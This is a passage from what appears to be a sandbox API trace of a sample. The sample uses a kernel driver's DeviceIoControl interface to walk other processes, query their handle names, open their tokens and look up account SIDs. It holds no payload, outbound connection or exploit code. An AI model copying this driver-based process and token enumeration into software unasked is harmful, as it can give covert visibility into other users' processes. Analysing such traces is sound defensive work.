| out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0137.527] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.527] PsAcquireProcessExitSynchronization () returned 0x0 [0137.527] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880054735d0) [0137.527] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020a0c70, HandleInformation=0x0) returned 0x0 [0137.527] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.527] PsReleaseProcessExitSynchronization () returned 0x2 [0137.527] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0137.527] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.527] ObfDereferenceObject (Object=0xfffffa80020a0c70) returned 0x1 [0137.527] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.527] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.527] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.527] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.527] PsAcquireProcessExitSynchronization () returned 0x0 [0137.527] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880054735d0) [0137.527] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.527] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.527] PsReleaseProcessExitSynchronization () returned 0x2 [0137.527] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0137.527] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.527] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.527] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.527] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.527] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8f0) returned 0xc0 [0137.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.527] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8001fabb30, HandleInformation=0x0) returned 0x0 [0137.527] ObOpenObjectByPointer (in: Object=0xfffffa8001fabb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000578) returned 0x0 [0137.527] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x12 [0137.527] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000578, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.527] ZwClose (Handle=0xffffffff80000578) returned 0x0 [0137.528] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.528] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.528] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.529] CloseHandle (hObject=0xc8) returned 1 [0137.529] CloseHandle (hObject=0xc0) returned 1 [0137.529] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.529] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.529] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.529] PsAcquireProcessExitSynchronization () returned 0x0 [0137.529] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880054735d0) [0137.529] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020a3620, HandleInformation=0x0) returned 0x0 [0137.529] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.529] PsReleaseProcessExitSynchronization () returned 0x2 [0137.529] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0137.529] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384d744, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800384d744, ReturnLength=0xfffff88005473508) returned 0x0 [0137.529] ObfDereferenceObject (Object=0xfffffa80020a3620) returned 0x1 [0137.529] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.529] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.530] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0137.530] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.530] PsAcquireProcessExitSynchronization () returned 0x0 [0137.530] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880054735d0) [0137.530] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80019ac6b0, HandleInformation=0x0) returned 0x0 [0137.530] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.530] PsReleaseProcessExitSynchronization () returned 0x2 [0137.530] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0137.530] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.530] ObfDereferenceObject (Object=0xfffffa80019ac6b0) returned 0x1 [0137.530] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.530] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.530] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.530] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.530] PsAcquireProcessExitSynchronization () returned 0x0 [0137.530] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880054735d0) [0137.530] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.530] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.530] PsReleaseProcessExitSynchronization () returned 0x2 [0137.530] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0137.530] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.530] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.530] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.530] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.530] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x900) returned 0xc0 [0137.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.530] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002052460, HandleInformation=0x0) returned 0x0 [0137.530] ObOpenObjectByPointer (in: Object=0xfffffa8002052460, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000578) returned 0x0 [0137.530] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x12 [0137.530] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000578, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.531] ZwClose (Handle=0xffffffff80000578) returned 0x0 [0137.531] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.531] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.531] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.532] CloseHandle (hObject=0xc8) returned 1 [0137.532] CloseHandle (hObject=0xc0) returned 1 [0137.532] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.532] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.532] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.532] PsAcquireProcessExitSynchronization () returned 0x0 [0137.532] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff880054735d0) [0137.532] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002052d90, HandleInformation=0x0) returned 0x0 [0137.532] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.532] PsReleaseProcessExitSynchronization () returned 0x2 [0137.532] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0137.532] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.533] ObfDereferenceObject (Object=0xfffffa8002052d90) returned 0x1 [0137.533] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.533] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.533] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0137.533] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.533] PsAcquireProcessExitSynchronization () returned 0x0 [0137.533] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff880054735d0) [0137.533] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020401a0, HandleInformation=0x0) returned 0x0 [0137.533] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.533] PsReleaseProcessExitSynchronization () returned 0x2 [0137.533] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0137.533] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.533] ObfDereferenceObject (Object=0xfffffa80020401a0) returned 0x1 [0137.533] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.533] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.533] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.533] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.533] PsAcquireProcessExitSynchronization () returned 0x0 [0137.533] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff880054735d0) [0137.533] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.533] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.533] PsReleaseProcessExitSynchronization () returned 0x2 [0137.533] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0137.533] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.533] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.533] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.533] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.533] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x910) returned 0xc0 [0137.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.533] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002067b30, HandleInformation=0x0) returned 0x0 [0137.533] ObOpenObjectByPointer (in: Object=0xfffffa8002067b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000578) returned 0x0 [0137.534] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x12 [0137.534] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000578, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.534] ZwClose (Handle=0xffffffff80000578) returned 0x0 [0137.534] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.534] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.534] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.535] CloseHandle (hObject=0xc8) returned 1 [0137.535] CloseHandle (hObject=0xc0) returned 1 [0137.535] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.535] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.535] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.535] PsAcquireProcessExitSynchronization () returned 0x0 [0137.535] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880054735d0) [0137.535] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020627a0, HandleInformation=0x0) returned 0x0 [0137.535] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.535] PsReleaseProcessExitSynchronization () returned 0x2 [0137.535] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0137.535] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.536] ObfDereferenceObject (Object=0xfffffa80020627a0) returned 0x1 [0137.536] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.536] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.536] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0137.536] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.536] PsAcquireProcessExitSynchronization () returned 0x0 [0137.536] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880054735d0) [0137.536] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002068800, HandleInformation=0x0) returned 0x0 [0137.536] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.536] PsReleaseProcessExitSynchronization () returned 0x2 [0137.536] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0137.536] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.536] ObfDereferenceObject (Object=0xfffffa8002068800) returned 0x1 [0137.536] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.536] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.536] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.536] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.536] PsAcquireProcessExitSynchronization () returned 0x0 [0137.536] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880054735d0) [0137.536] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.536] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.536] PsReleaseProcessExitSynchronization () returned 0x2 [0137.536] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0137.536] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.536] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.536] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.536] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.536] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x920) returned 0xc0 [0137.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.536] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800207e5f0, HandleInformation=0x0) returned 0x0 [0137.536] ObOpenObjectByPointer (in: Object=0xfffffa800207e5f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000578) returned 0x0 [0137.537] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x12 [0137.537] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000578, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.537] ZwClose (Handle=0xffffffff80000578) returned 0x0 [0137.537] IofCompleteRequest (Irp=0xfffffa8003646370, PriorityBoost=0) [0137.537] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: 